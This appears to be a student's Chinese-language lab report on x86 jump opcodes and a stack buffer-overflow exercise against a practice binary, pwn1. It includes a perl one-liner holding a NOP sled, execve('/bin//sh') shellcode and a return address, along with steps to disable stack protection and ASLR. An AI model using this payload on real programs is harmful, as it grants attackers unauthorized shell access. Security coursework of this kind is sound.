1.实验内容
1.1NOP, JNE, JE, JMP, CMP汇编指令的机器码:
1.1.1NOP(No Operation)
功能:NOP指令是一条空操作指令,它不做任何事情。执行NOP指令时,处理器的状态(如寄存器值、内存内容等)不会发生变化,只是简单地消耗了一个指令周期。NOP指令通常用于对齐代码、填充空间或作为调试时的占位符。在x86架构中,NOP指令的机器码通常是90(十六进制)。
1.1.2JNE(Jump if Not Equal)
功能:JNE指令是一条条件跳转指令,它检查上一条CMP(Compare)指令或其他影响条件码(如ZF,零标志)的指令的结果。如果比较的结果表明两个操作数不相等(即ZF标志为0),则处理器会跳转到指令中指定的标签或地址处继续执行。JNE指令的机器码会根据跳转的目标地址而变化,但通常它会有一个前缀(如75对于短跳转)和随后的目标地址偏移量。
1.1.3JE(Jump if Equal)
功能:JE指令也是一条条件跳转指令,它检查上一条CMP指令或其他影响条件码的指令的结果。如果比较的结果表明两个操作数相等(即ZF标志为1),则处理器会跳转到指令中指定的标签或地址处继续执行。与JNE类似,JE指令的机器码会根据跳转的目标地址而变化,通常有一个前缀(如74对于短跳转)和随后的目标地址偏移量。
1.1.4JMP(Jump)
功能:JMP指令是一条无条件跳转指令,它导致处理器立即跳转到指令中指定的标签或地址处继续执行。JMP指令可以用来实现循环、函数调用和程序分支等。JMP指令的机器码会根据跳转的目标地址而变化,可以是短跳转(如EB前缀和随后的偏移量)、近跳转(如E9前缀和随后的偏移量)或远跳转(如EA前缀和随后的段地址和偏移量)。
1.1.5CMP(Compare)
功能:CMP指令用于比较两个操作数,但它本身不产生跳转。CMP指令通过从第一个操作数中减去第二个操作数来更新处理器的条件码(如ZF、SF、OF等),这些条件码随后可以被条件跳转指令(如JNE、JE)使用来决定是否跳转。CMP指令的机器码会根据操作数的类型和大小而变化,但通常会有一个操作码(如39用于比较两个寄存器)和随后的操作数(可以是立即数、寄存器或内存地址)。
1.2掌握反汇编与十六进制编程器
反汇编是指将机器代码转换为目标处理器专用的汇编代码或汇编指令的过程。机器代码是计算机能够直接识别和执行的二进制形式,而汇编代码则是使用汇编助记符编写的,更易于人类理解和编写的代码形式。
十六进制编程器,或称十六进制编辑器,是一种用于以十六进制视图进行文本编辑的软件工具。它允许用户以十六进制的形式查看或编辑文件的二进制数据。
1.3能正确修改机器指令改变程序执行流程
修改机器指令意味着改变程序中的二进制数据,从而改变程序在执行时的行为,如使用十六进制编辑器直接编辑二进制文件,或通过调试器在运行时动态修改指令。
改变程序执行流程是指通过修改机器指令,使程序在执行时跳转到不同的代码段,或执行不同的操作。
1.4能正确构造payload进行bof攻击
1.4.1NSR模式指的是一种特定的缓冲区溢出攻击方式,其中N、S、R分别代表不同的部分:
N(Nop Sled/Slide):也称为“滑动/滑行区”,由一系列的NOP(No Operation,无操作)指令组成。NOP指令不做任何事情,仅占用一个指令周期。在NSR模式中,NOP指令用于填充payload的开头部分,以确保即使返回地址被部分覆盖或修改,程序执行流仍然能够“滑动”到正确的shellcode位置。
S(Shellcode):是攻击者希望程序执行的实际恶意代码。在BOF攻击中,shellcode通常用于执行系统命令、打开网络端口或进行其他恶意活动。
R(Return Address):是程序执行完成后应该返回的地址。在BOF攻击中,会修改这个地址,使其指向shellcode的起始位置,从而执行恶意代码。
1.4.2在NSR模式下,payload的构造通常包括以下几个步骤:
1.确定缓冲区大小:需要确定目标程序中的缓冲区大小。
2.构造NOP Sled:根据缓冲区大小,构造一个足够长的NOP指令序列作为payload的开头部分。这个序列的长度应该足够长,以确保即使返回地址被部分覆盖,程序执行流仍然能够“滑动”到shellcode的位置。
3.添加Shellcode:在NOP Sled之后,添加希望执行的shellcode。这个shellcode需要被精确地编码,以确保在目标系统上能够正确执行。
4.设置返回地址:会设置一个返回地址,这个地址应该指向NOP Sled或shellcode的起始位置。在大多数情况下,由于数据的小端方式存储,返回地址需要按照特定的字节顺序(如\x7d\x84\x04\x08)进行编码。
1.4.3进行bof攻击
触发漏洞:向目标程序发送一个精心构造的输入(即payload),来触发缓冲区溢出漏洞。
覆盖返回地址:由于输入的长度超过了缓冲区的容量,因此部分输入会溢出到堆栈的其他部分,包括返回地址。通过精确控制输入的长度和内容,来覆盖返回地址。
执行恶意代码:当程序尝试返回到被覆盖的返回地址时,它会跳转到shellcode的位置,并执行其中的代码。
2.实验过程
首先安装好kali虚拟机,下载pwn1文件,输入命令对于pwn20222426文件进行反汇编。
通过构造输入参数,造成BOF攻击,改变程序执行流
如果输入1111111122222222333333334444444412345678,那么1234会覆盖返回地址,因此只需要修改这四个字符。
这里通过break *0x804849d构造断点。
通过perl命令生成input文件,通过xxd命令查看文件内容,通过输入(cat input;cat) | ./pwn1和ls命令进行测试,发现成功调用了getshell函数。
使用输出重定向将perl生成的字符串存储到文件中:
perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接着输入(cat input_shellcode;cat) | ./pwn1注入攻击buf。
重新打开一个终端,输入ps -ef | grep pwn1, 查看pwn1的进程号。
输入attach 2913,查看进程,
再输入disassemble foo,之后设置断点,在第一个终端中按下enter键,在目前的终端里面输入c以及info r esp,
使用输出重定向将perl生成的字符串存储到文件中,命令如图所示。
最后执行(cat input_shellcode;cat) | ./pwn1,成功调用getshell函数。
输入ls测试,成功执行。
3.问题及解决方案
-问题1:文件权限不足,无法执行对应的操作
-问题1解决方案:在相关命令前面加入sudo进行解决
-问题2:出现在 PowerShell 中执行这个命令时出现解析错误,是因为 PowerShell 对括号内的命令分隔语法有特殊要求
-问题2解决方案:使用脚本块语法,& { cat input_shellcode; cat } | ./pwn1
-问题3:在注入攻击时前面的结果与实验指导书一模一样,但在最终ls时会出现报错
-问题3解决方案:原因是因为没有执行堆栈的相关操作,于是进行堆栈的相关操作,设置堆栈可执行并关闭地址随机化
4.学习感悟、思考等
这次缓冲区溢出实验,让我对kali有了更加深入的体会和了解。。同时通过这次实验,让我对Linux命令更加熟悉,比如execstack命令的下载,遇到了很多问题,不过通过查阅资料和自己调试,还是成功解决了问题,积累了一定的经验。还有如何解决权限不足的问题,对pwn1开放所有人可以操作的权限,